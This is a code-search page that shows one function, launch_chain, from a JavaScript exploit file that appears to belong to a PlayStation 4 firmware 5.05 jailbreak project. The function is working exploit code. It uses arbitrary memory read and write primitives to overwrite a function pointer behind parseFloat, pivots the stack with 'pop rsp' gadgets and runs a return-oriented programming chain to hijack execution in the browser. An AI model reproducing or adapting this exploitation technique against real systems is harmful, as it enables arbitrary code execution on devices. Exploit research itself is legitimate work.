MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / launch_chain

Function launch_chain

restore/505goldhen/exploit.js:852–890  ·  view source on GitHub ↗
(chain)

Source from the content-addressed store, hash-verified

850 var funcbuf32 = new Uint32Array(0x100);
851 nogc.push(funcbuf32);
852 var launch_chain = function (chain) {
853 var stackPointer = 0;
854 var stackCookie = 0;
855 var orig_reenter_rip = 0;
856 var reenter_help = {
857 length: {
858 valueOf: function () {
859 orig_reenter_rip = p.read8(stackPointer);
860 stackCookie = p.read8(stackPointer.add32(8));
861 var returnToFrame = stackPointer;
862 var ocnt = chain.count;
863 chain.push_write8(stackPointer, orig_reenter_rip);
864 chain.push_write8(stackPointer.add32(8), stackCookie);
865 if (chain.runtime)
866 returnToFrame = chain.runtime(stackPointer);
867 chain.push(gadgets["pop rsp"]);
868 chain.push(returnToFrame);
869 chain.count = ocnt;
870 p.write8(stackPointer, gadgets["pop rsp"]);
871 p.write8(stackPointer.add32(8), chain.stackBase);
872 }
873 }
874 };
875 funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
876 p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
877 p.write8(funcbuf.add32(0x80), gadgets["jop"]);
878 p.write8(funcbuf, funcbuf);
879 p.write8(parseFloatStore, gadgets["jop"]);
880 var orig_hold = p.read8(holdz1);
881 var orig_hold48 = p.read8(holdz1.add32(0x48));
882 p.write8(holdz1, funcbuf.add32(0x50));
883 p.write8(holdz1.add32(0x48), funcbuf);
884 parseFloat(hold2, hold2, hold2, hold2, hold2, hold2);
885 p.write8(holdz1, orig_hold);
886 p.write8(holdz1.add32(0x48), orig_hold48);
887 stackPointer = p.read8(funcbuf.add32(0x10));
888 rtv = Array.prototype.splice.apply(reenter_help);
889 return p.leakval(rtv);
890 };
891 p.loadchain = launch_chain;
892 var chain = new window.rop;
893 var returnvalue;

Callers

nothing calls this directly

Calls 2

read8Method · 0.45
write8Method · 0.45

Tested by

no test coverage detected